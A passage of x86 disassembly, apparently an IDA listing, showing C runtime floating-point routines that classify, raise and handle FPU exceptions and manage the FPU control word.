[ebp+arg_4+3], 0 jnz short loc_419597 mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+arg_0] or [ecx], edi loc_419597: ; CODE XREF: sub_4192E8+29Fj lea eax, [eax+edx*4+44h] mov edx, 80000000h mov ecx, esi jmp short loc_4195C9 ; --------------------------------------------------------------------------- loc_4195A4: ; CODE XREF: sub_4192E8+299j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_4195BA lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_0] or [ecx+4], edi loc_4195BA: ; CODE XREF: sub_4192E8+2C0j lea eax, [eax+edx*4+0C4h] lea ecx, [esi-20h] mov edx, 80000000h loc_4195C9: ; CODE XREF: sub_4192E8+2BAj shr edx, cl or [eax], edx loc_4195CD: ; CODE XREF: sub_4192E8+287j mov eax, [ebp+arg_8] mov [ebx], eax mov [eax+ebx-4], eax loc_4195D6: ; CODE XREF: sub_4192E8+1A2j ; sub_4192E8:loc_419496j push 1 pop eax loc_4195D9: ; CODE XREF: sub_4192E8+1A9j pop edi pop esi pop ebx leave retn sub_4192E8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_4195DE(int,int,double,int) sub_4195DE proc near ; CODE XREF: sub_415E4C+51p ; sub_415F93+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp ds:dword_4386C8, 0 jnz short loc_419613 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_419B93 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_419613: ; CODE XREF: sub_4195DE+Aj push 0FFFFh mov ds:dword_469474, 21h push [ebp+arg_C] call sub_419E06 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_4195DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419631(int,int,double,double,int) sub_419631 proc near ; CODE XREF: sub_415E4C:loc_415F0Fp ; sub_415F93:loc_416056p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_41997C add esp, 0Ch test eax, eax jnz short loc_41966F lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_4196C9 add esp, 18h loc_41966F: ; CODE XREF: sub_419631+1Aj push [ebp+arg_0] call sub_419C66 cmp ds:dword_4386C8, 0 pop ecx jnz short loc_4196AD test eax, eax jz short loc_4196AD push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_419B93 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_4196AD: ; CODE XREF: sub_419631+4Ej ; sub_419631+52j push eax call sub_419C1B mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_419E06 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_419631 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4196C9 proc near ; CODE XREF: sub_419631+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_4196FB mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_4196FB: ; CODE XREF: sub_4196C9+23j test cl, 2 jz short loc_41970E mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_41970E: ; CODE XREF: sub_4196C9+35j test cl, bl jz short loc_419720 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_419720: ; CODE XREF: sub_4196C9+47j test cl, 4 jz short loc_419733 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_419733: ; CODE XREF: sub_4196C9+5Aj test cl, 8 jz short loc_419746 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_419746: ; CODE XREF: sub_4196C9+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_419DE9 test al, bl jz short loc_4197CF mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4197CF: ; CODE XREF: sub_4196C9+FDj test al, 4 jz short loc_4197DA mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4197DA: ; CODE XREF: sub_4196C9+108j test al, 8 jz short loc_4197E5 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4197E5: ; CODE XREF: sub_4196C9+113j test al, 10h jz short loc_4197EF mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_4197EF: ; CODE XREF: sub_4196C9+11Ej test al, 20h jz short loc_4197F9 mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_4197F9: ; CODE XREF: sub_4196C9+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_419838 cmp eax, 400h jz short loc_41982A cmp eax, 800h jz short loc_41981E cmp eax, ecx jnz short loc_41983E mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_41983E ; --------------------------------------------------------------------------- loc_41981E: ; CODE XREF: sub_4196C9+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_419834 ; --------------------------------------------------------------------------- loc_41982A: ; CODE XREF: sub_4196C9+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_419834: ; CODE XREF: sub_4196C9+15Fj mov [eax], ecx jmp short loc_41983E ; --------------------------------------------------------------------------- loc_419838: ; CODE XREF: sub_4196C9+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_41983E: ; CODE XREF: sub_4196C9+14Bj ; sub_4196C9+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_419869 cmp eax, 200h jz short loc_41985C cmp eax, ecx jnz short loc_419876 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_419876 ; --------------------------------------------------------------------------- loc_41985C: ; CODE XREF: sub_4196C9+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_419874 ; --------------------------------------------------------------------------- loc_419869: ; CODE XREF: sub_4196C9+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_419874: ; CODE XREF: sub_4196C9+19Ej mov [eax], ecx loc_419876: ; CODE XREF: sub_4196C9+189j ; sub_4196C9+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_419DF7 lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] call ds:dword_421184 ; RaiseException mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_4198F0 and dword ptr [esi], 0FFFFFFFEh loc_4198F0: ; CODE XREF: sub_4196C9+222j test byte ptr [eax+8], 8 jz short loc_4198F9 and dword ptr [esi], 0FFFFFFFBh loc_4198F9: ; CODE XREF: sub_4196C9+22Bj test byte ptr [eax+8], 4 jz short loc_419902 and dword ptr [esi], 0FFFFFFF7h loc_419902: ; CODE XREF: sub_4196C9+234j test byte ptr [eax+8], 2 jz short loc_41990B and dword ptr [esi], 0FFFFFFEFh loc_41990B: ; CODE XREF: sub_4196C9+23Dj test [eax+8], bl jz short loc_419913 and dword ptr [esi], 0FFFFFFDFh loc_419913: ; CODE XREF: sub_4196C9+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_419947 dec ecx jz short loc_41993B dec ecx jz short loc_419931 dec ecx jnz short loc_419949 or byte ptr [esi+1], 0Ch jmp short loc_419949 ; --------------------------------------------------------------------------- loc_419931: ; CODE XREF: sub_4196C9+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_419943 ; --------------------------------------------------------------------------- loc_41993B: ; CODE XREF: sub_4196C9+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_419943: ; CODE XREF: sub_4196C9+270j mov [esi], ecx jmp short loc_419949 ; --------------------------------------------------------------------------- loc_419947: ; CODE XREF: sub_4196C9+257j and [esi], edx loc_419949: ; CODE XREF: sub_4196C9+260j ; sub_4196C9+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_419969 dec ecx jz short loc_419960 dec ecx jnz short loc_419972 and [esi], edx jmp short loc_419972 ; --------------------------------------------------------------------------- loc_419960: ; CODE XREF: sub_4196C9+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_419970 ; --------------------------------------------------------------------------- loc_419969: ; CODE XREF: sub_4196C9+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_419970: ; CODE XREF: sub_4196C9+29Ej mov [esi], ecx loc_419972: ; CODE XREF: sub_4196C9+291j ; sub_4196C9+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_4196C9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41997C proc near ; CODE XREF: sub_419631+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_4199A7 test byte ptr [ebp+arg_8], bl jz short loc_4199A7 push ebx call sub_419E29 pop ecx and edi, 0FFFFFFF7h jmp loc_419B71 ; --------------------------------------------------------------------------- loc_4199A7: ; CODE XREF: sub_41997C+15j ; sub_41997C+1Aj test al, 4 jz short loc_4199C1 test byte ptr [ebp+arg_8], 4 jz short loc_4199C1 push 4 call sub_419E29 pop ecx and edi, 0FFFFFFFBh jmp loc_419B71 ; --------------------------------------------------------------------------- loc_4199C1: ; CODE XREF: sub_41997C+2Dj ; sub_41997C+33j test al, bl jz loc_419A9B test byte ptr [ebp+arg_8], 8 jz loc_419A9B push 8 call sub_419E29 pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_419A73 cmp ecx, 400h jz short loc_419A4B cmp ecx, 800h jz short loc_419A23 cmp ecx, eax jnz loc_419A93 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_4217B0 fld ds:dbl_438058 fnstsw ax sahf ja short loc_419A1B fchs loc_419A1B: ; CODE XREF: sub_41997C+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_419A91 ; --------------------------------------------------------------------------- loc_419A23: ; CODE XREF: sub_41997C+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_4217B0 fnstsw ax sahf jbe short loc_419A3B fld ds:dbl_438048 jmp short loc_419A43 ; --------------------------------------------------------------------------- loc_419A3B: ; CODE XREF: sub_41997C+B5j fld ds:dbl_438058 fchs loc_419A43: ; CODE XREF: sub_41997C+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_419A91 ; --------------------------------------------------------------------------- loc_419A4B: ; CODE XREF: sub_41997C+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_4217B0 fnstsw ax sahf jbe short loc_419A63 fld ds:dbl_438058 jmp short loc_419A6B ; --------------------------------------------------------------------------- loc_419A63: ; CODE XREF: sub_41997C+DDj fld ds:dbl_438048 fchs loc_419A6B: ; CODE XREF: sub_41997C+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_419A91 ; --------------------------------------------------------------------------- loc_419A73: ; CODE XREF: sub_41997C+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp ds:dbl_4217B0 fld ds:dbl_438048 fnstsw ax sahf ja short loc_419A8B fchs loc_419A8B: ; CODE XREF: sub_41997C+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_419A91: ; CODE XREF: sub_41997C+A5j ; sub_41997C+CDj ... fstp qword ptr [ecx] loc_419A93: ; CODE XREF: sub_41997C+81j and edi, 0FFFFFFFEh jmp loc_419B71 ; --------------------------------------------------------------------------- loc_419A9B: ; CODE XREF: sub_41997C+47j ; sub_41997C+51j test al, 2 jz loc_419B71 test byte ptr [ebp+arg_8], 10h jz loc_419B71 push esi xor esi, esi test al, 10h jz short loc_419AB6 mov esi, ebx loc_419AB6: ; CODE XREF: sub_41997C+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp ds:dbl_4217B0 fnstsw ax sahf jz loc_419B5F fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_419D28 mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_419B01 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_419B55 ; --------------------------------------------------------------------------- loc_419B01: ; CODE XREF: sub_41997C+17Aj fld [ebp+var_C] fcomp ds:dbl_4217B0 fnstsw ax sahf jnb short loc_419B13 mov edx, ebx jmp short loc_419B15 ; --------------------------------------------------------------------------- loc_419B13: ; CODE XREF: sub_41997C+191j xor edx, edx loc_419B15: ; CODE XREF: sub_41997C+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_419B49 sub eax, ecx loc_419B2C: ; CODE XREF: sub_41997C+1CBj test byte ptr [ebp+var_C], bl jz short loc_419B37 test esi, esi jnz short loc_419B37 mov esi, ebx loc_419B37: ; CODE XREF: sub_41997C+1B3j ; sub_41997C+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_419B43 or byte ptr [ebp+var_C+3], 80h loc_419B43: ; CODE XREF: sub_41997C+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_419B2C loc_419B49: ; CODE XREF: sub_41997C+1ACj test edx, edx jz short loc_419B55 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_419B55: ; CODE XREF: sub_41997C+183j ; sub_41997C+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_419B61 ; --------------------------------------------------------------------------- loc_419B5F: ; CODE XREF: sub_41997C+14Ej mov esi, ebx loc_419B61: ; CODE XREF: sub_41997C+1E1j test esi, esi pop esi jz short loc_419B6E push 10h call sub_419E29 pop ecx loc_419B6E: ; CODE XREF: sub_41997C+1E8j and edi, 0FFFFFFFDh loc_419B71: ; CODE XREF: sub_41997C+26j ; sub_41997C+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_419B88 test byte ptr [ebp+arg_8], 20h jz short loc_419B88 push 20h call sub_419E29 pop ecx and edi, 0FFFFFFEFh loc_419B88: ; CODE XREF: sub_41997C+1F9j ; sub_41997C+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_41997C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419B93(int,int,int,int,int,int,double,int) sub_419B93 proc near ; CODE XREF: sub_4195DE+2Bp ; sub_419631+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_419C41 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_419BFE mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_419E06 lea eax, [ebp+var_20] push eax call sub_41D7F3 add esp, 0Ch test eax, eax jnz short loc_419BF8 push esi call sub_419C1B pop ecx loc_419BF8: ; CODE XREF: sub_419B93+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_419BFE: ; CODE XREF: sub_419B93+14j push 0FFFFh push [ebp+arg_20] call sub_419E06 push [ebp+arg_0] call sub_419C1B fld [ebp+arg_18] add esp, 0Ch leave retn sub_419B93 endp ; =============== S U B R O U T I N E ======================================= sub_419C1B proc near ; CODE XREF: sub_419631+7Dp ; sub_419B93+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_419C36 jle short locret_419C40 cmp eax, 3 jg short locret_419C40 mov ds:dword_469474, 22h retn ; --------------------------------------------------------------------------- loc_419C36: ; CODE XREF: sub_419C1B+7j mov ds:dword_469474, 21h locret_419C40: ; CODE XREF: sub_419C1B+9j ; sub_419C1B+Ej retn sub_419C1B endp ; =============== S U B R O U T I N E ======================================= sub_419C41 proc near ; CODE XREF: sub_419B93+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_437F70 loc_419C48: ; CODE XREF: sub_419C41+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_419C5E add eax, 8 inc ecx cmp eax, offset dbl_438048 jl short loc_419C48 xor eax, eax retn ; --------------------------------------------------------------------------- loc_419C5E: ; CODE XREF: sub_419C41+Dj mov eax, ds:off_437F74[ecx*8] retn sub_419C41 endp ; =============== S U B R O U T I N E ======================================= sub_419C66 proc near ; CODE XREF: sub_419631+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_419C72 push 5 jmp short loc_419C88 ; --------------------------------------------------------------------------- loc_419C72: ; CODE XREF: sub_419C66+6j test al, 8 jz short loc_419C7A push 1 jmp short loc_419C88 ; --------------------------------------------------------------------------- loc_419C7A: ; CODE XREF: sub_419C66+Ej test al, 4 jz short loc_419C82 push 2 jmp short loc_419C88 ; --------------------------------------------------------------------------- loc_419C82: ; CODE XREF: sub_419C66+16j test al, 1 jz short loc_419C8A push 3 loc_419C88: ; CODE XREF: sub_419C66+Aj ; sub_419C66+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_419C8A: ; CODE XREF: sub_419C66+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_419C66 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419C93(double) sub_419C93 proc near ; CODE XREF: sub_415E4C:loc_415ED2p ; sub_415F93:loc_416019p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_419C93 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419CA5(double,int) sub_419CA5 proc near ; CODE XREF: sub_419D28+82p ; sub_419D28+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_419CA5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419CCE proc near ; CODE XREF: sub_415E4C+31p ; sub_415F93+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_419CE5 cmp [ebp+arg_0], edx jnz short loc_419CF7 push 1 jmp short loc_419D21 ; --------------------------------------------------------------------------- loc_419CE5: ; CODE XREF: sub_419CCE+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_419CF7 cmp [ebp+arg_0], edx jnz short loc_419CF7 push 2 jmp short loc_419D21 ; --------------------------------------------------------------------------- loc_419CF7: ; CODE XREF: sub_419CCE+11j ; sub_419CCE+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_419D0A push 3 jmp short loc_419D21 ; --------------------------------------------------------------------------- loc_419D0A: ; CODE XREF: sub_419CCE+36j cmp cx, 7FF0h jnz short loc_419D24 test [ebp+arg_4], 7FFFFh jnz short loc_419D1F cmp [ebp+arg_0], edx jz short loc_419D24 loc_419D1F: ; CODE XREF: sub_419CCE+4Aj push 4 loc_419D21: ; CODE XREF: sub_419CCE+15j ; sub_419CCE+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_419D24: ; CODE XREF: sub_419CCE+41j ; sub_419CCE+4Fj xor eax, eax pop ebp retn sub_419CCE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_419D28(double,int) sub_419D28 proc near ; CODE XREF: sub_41997C+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp ds:dbl_4217B0 push esi fnstsw ax sahf jnz short loc_419D48 fldz xor esi, esi fstp [ebp+var_8] jmp loc_419DDE ; --------------------------------------------------------------------------- loc_419D48: ; CODE XREF: sub_419D28+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_419DB7 test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_419D60 cmp dword ptr [ebp+arg_0], ecx jz short loc_419DB7 loc_419D60: ; CODE XREF: sub_419D28+31j fld [ebp+arg_0] fcomp ds:dbl_4217B0 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_419D78 push 1 pop eax jmp short loc_419D7A ; --------------------------------------------------------------------------- loc_419D78: ; CODE XREF: sub_419D28+49j xor eax, eax loc_419D7A: ; CODE XREF: sub_419D28+4Ej ; sub_419D28+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_419D93 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_419D8D or dword ptr [ebp+arg_0+4], 1 loc_419D8D: ; CODE XREF: sub_419D28+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_419D7A ; --------------------------------------------------------------------------- loc_419D93: ; CODE XREF: sub_419D28+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_419DA1 or byte ptr [ebp+arg_0+7], 80h loc_419DA1: ; CODE XREF: sub_419D28+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_419CA5 fstp [ebp+var_8] add esp, 0Ch jmp short loc_419DDE ; --------------------------------------------------------------------------- loc_419DB7: ; CODE XREF: sub_419D28+28j ; sub_419D28+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_419CA5 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_419DDE: ; CODE XREF: sub_419D28+1Bj ; sub_419D28+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_419D28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419DE9 proc near ; CODE XREF: sub_4196C9+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_419DE9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419DF7 proc near ; CODE XREF: sub_4196C9+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_419DF7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E06 proc near ; CODE XREF: sub_415E4C+13p ; sub_415E4C+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_419E06 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E29 proc near ; CODE XREF: sub_41997C+1Dp ; sub_41997C+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_419E40 fld ds:tbyte_438070 fistp [ebp+arg_0] wait loc_419E40: ; CODE XREF: sub_419E29+Bj test cl, 8 jz short loc_419E55 fstsw ax fld ds:tbyte_438070 fstp [ebp+var_8] wait fstsw ax loc_419E55: ; CODE XREF: sub_419E29+1Aj test cl, 10h jz short loc_419E64 fld ds:tbyte_43807C fstp [ebp+var_8] wait loc_419E64: ; CODE XREF: sub_419E29+2Fj test cl, 4 jz short loc_419E72 fldz fld1 fdivrp st(1), st fstp st wait loc_419E72: ; CODE XREF: sub_419E29+3Ej test cl, 20h jz short locret_419E7D fldpi fstp [ebp+var_8] wait locret_419E7D: ; CODE XREF: sub_419E29+4Cj leave retn sub_419E29 endp ; =============== S U B R O U T I N E ======================================= sub_419E7F proc near ; CODE XREF: sub_415F1B+Fp push 30000h push 10000h call sub_41D82B pop ecx pop ecx retn sub_419E7F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E91 proc near ; CODE XREF: sub_419ECF:loc_419EF3j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld ds:dbl_4217C0 fstp [ebp+var_8] fld ds:dbl_4217B8 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp ds:dbl_421670 fnstsw ax sahf jbe short loc_419ECB push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_419ECB: ; CODE XREF: sub_419E91+33j xor eax, eax leave retn sub_419E91 endp ; =============== S U B R O U T I N E ======================================= sub_419ECF proc near ; CODE XREF: sub_415F1B+5p push offset aKernel32 ; "KERNEL32" call near ptr 0D10004h pop ds test eax, eax jz short loc_419EF3 push offset aIsprocessorfea ; 